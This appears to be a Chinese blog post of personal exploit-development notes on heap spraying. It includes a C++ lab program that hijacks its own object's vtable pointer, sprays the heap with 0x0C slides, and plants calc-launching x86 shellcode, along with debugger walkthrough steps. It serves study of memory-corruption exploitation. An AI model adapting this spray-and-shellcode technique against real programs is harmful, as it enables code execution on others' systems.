【RealPwn-2】 堆喷练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

堆喷

堆喷的利用,简单概括就是,申请大量内存,申请到 0x0C0C0C0C ,写入 slides + shellcode ,再控制 EIP 指向 0x0C0C0C0C 即可。

理论上这里的 0x0C0C0C0C 可以替换为别的,比如 0x900x0D 等不影响shellcode 执行的指令。

实际场景,常见的思路是覆盖对象的虚函数表指针 vptr,在 0x0C0C0C0C 伪造一个虚函数表,填满 0x0C0C0C0C + shellcode ,当调用对象的虚函数时,会取到 0x0C0C0C0C 作为函数的地址,跳回到 0x0C0C0C0C 的起始,把后面的数据当作指令执行,

v

为什么不用 0x90909090 (nop;nop;nop;nop;) ? 是因为 0x90909090 > 0x7fffffff 处在内核空间,程序跳到那会 crash。

调试

开始调吧,还是 VS2019 + x32dbg 。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include <Windows.h>

#define ALLOC_SIZE 0x100000

using namespace std;

class A {
public:
virtual int pwn() {
return 1;
}
};

// 弹计算器
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

a_addr[0] = 0x0C0C0C0C; // 修改 vptr

sprintf_s(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf_s(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

for(int i = 0; i < 0x100 ; i++) { // 模拟堆喷,申请大量内存,256 个 chunk
long* buf = (long*) malloc(ALLOC_SIZE); // 1MB

sprintf_s(msg, "chunk[%d] addr: 0x%p", i, buf);
cout << msg << endl;

if((long) buf == 0) break; // 内存不足 malloc 失败

memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
if((long) buf + ALLOC_SIZE > 0x0c0c0c0c && (long) buf < 0x0c0c0c0c){ // 此处判断可以省略
memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
memcpy(buf + (ALLOC_SIZE - sizeof(shellcode))/4, shellcode, sizeof(shellcode)); // 写 shellcode
system("pause");
break;
}
}

system("pause");

a->pwn(); // 调用虚函数

return 0;
}

运行程序

1

代码里直接把 vptr 已经修改成 0x0C0C0C0C ,模拟虚函数表劫持。

bp 0x0c0c0c0c 打上断点,继续。

2

3

这里模拟了堆喷的过程,申请到的 0x0C0C0C0Cchunk\[158\] 里。

可以看到在向堆申请空间时,地址是从小到大的,有一定随机性,且有概率申请不到 0x0C0C0C0C ,这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。

4

5

现在已经 slides 和 shellcode 都写上去了。

继续,就到调用虚函数了,顺利的话就会弹出计算器。

注意,malloc 的内存默认只有 RW 权限,同 【RealPwn-1】 虚函数表劫持练习 一样,需要暂时关闭 DEP 才能执行 shellcode,实际场景中需要构造 ROP 链。

6

References

文章目录
  1. 1. 堆喷
  2. 2. 调试
  3. 3. References
|